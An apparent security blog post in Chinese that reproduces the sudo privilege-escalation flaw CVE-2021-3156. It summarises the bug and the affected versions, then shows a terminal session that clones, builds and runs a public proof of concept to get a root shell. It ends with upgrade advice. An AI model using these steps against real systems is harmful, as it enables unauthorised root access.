Linux sudo權限提升漏洞(CVE-2021-3156)復現
一、漏洞簡介
當sudo通過-s或-i命令行選項在shell模式下運行命令時,它將在命令參數中使用反斜杠轉義特殊字符。但使用-s或 -i標志運行sudoedit時,實際上並未進行轉義,從而可能導致緩沖區溢出。只要存在sudoers文件(通常是 /etc/sudoers),攻擊者就可以使用本地普通用戶利用sudo獲得系統root權限。
二、影響版本
Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1
不受影響版本
Sudo =>1.9.5p2
三、漏洞復現
執行獲取root權限:
具體操作過程:
ubuntu@VM-0-5-ubuntu:~$ git clone https://github.91chifun.workers.dev//https://github.com/blasty/CVE-2021-3156.git
Cloning into 'CVE-2021-3156'...
warning: redirecting to https://github.com.cnpmjs.org/blasty/CVE-2021-3156.git/
remote: Enumerating objects: 11, done.
remote: Counting objects: 100% (11/11), done.
remote: Compressing objects: 100% (9/9), done.
remote: Total 11 (delta 2), reused 11 (delta 2), pack-reused 0
Unpacking objects: 100% (11/11), done.
ubuntu@VM-0-5-ubuntu:~$ cd C
Cerberus/ CVE-2020-13942/ CVE-2020-14882_ALL/ CVE-2020-8193/ CVE-2021-3156/
ubuntu@VM-0-5-ubuntu:~$ cd CVE-2021-3156/
ubuntu@VM-0-5-ubuntu:~/CVE-2021-3156$ make
rm -rf libnss_X
mkdir libnss_X
gcc -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
ubuntu@VM-0-5-ubuntu:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
usage: ./sudo-hax-me-a-sandwich <target>
available targets:
------------------------------------------------------------
0) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
1) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
------------------------------------------------------------
ubuntu@VM-0-5-ubuntu:~/CVE-2021-3156$ sudo -V
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2
ubuntu@VM-0-5-ubuntu:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
using target: 'Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31'
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),114(sambashare),500(ubuntu)
#
exp地址:
https://github.com/blasty/CVE-2021-3156
操作步驟:
build:$make
list targets:
$./sudo-hax-me-a-sandwich
run:
$./sudo-hax-me-a-sandwich
四、漏洞防護
目前官方已在sudo新版本1.9.5p2中修復了該漏洞,請受影響的用戶盡快升級版本進行防護,官方下載鏈接:
https://www.sudo.ws/download.html
參考:
https://github.com/blasty/CVE-2021-3156
https://blog.csdn.net/Vdieoo/article/details/113247603
免責聲明:本站提供安全工具、程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!
轉載聲明:著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。
訂閱查看更多復現文章、學習筆記
thelostworld
安全路上,與你並肩前行!!!!
個人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns
個人簡書:https://www.jianshu.com/u/bf0e38a8d400
個人CSDN:https://blog.csdn.net/qq_37602797/category_10169006.html
個人博客園:https://www.cnblogs.com/thelostworld/
FREEBUF主頁:https://www.freebuf.com/author/thelostworld?type=article
歡迎添加本公眾號作者微信交流,添加時備注一下“公眾號”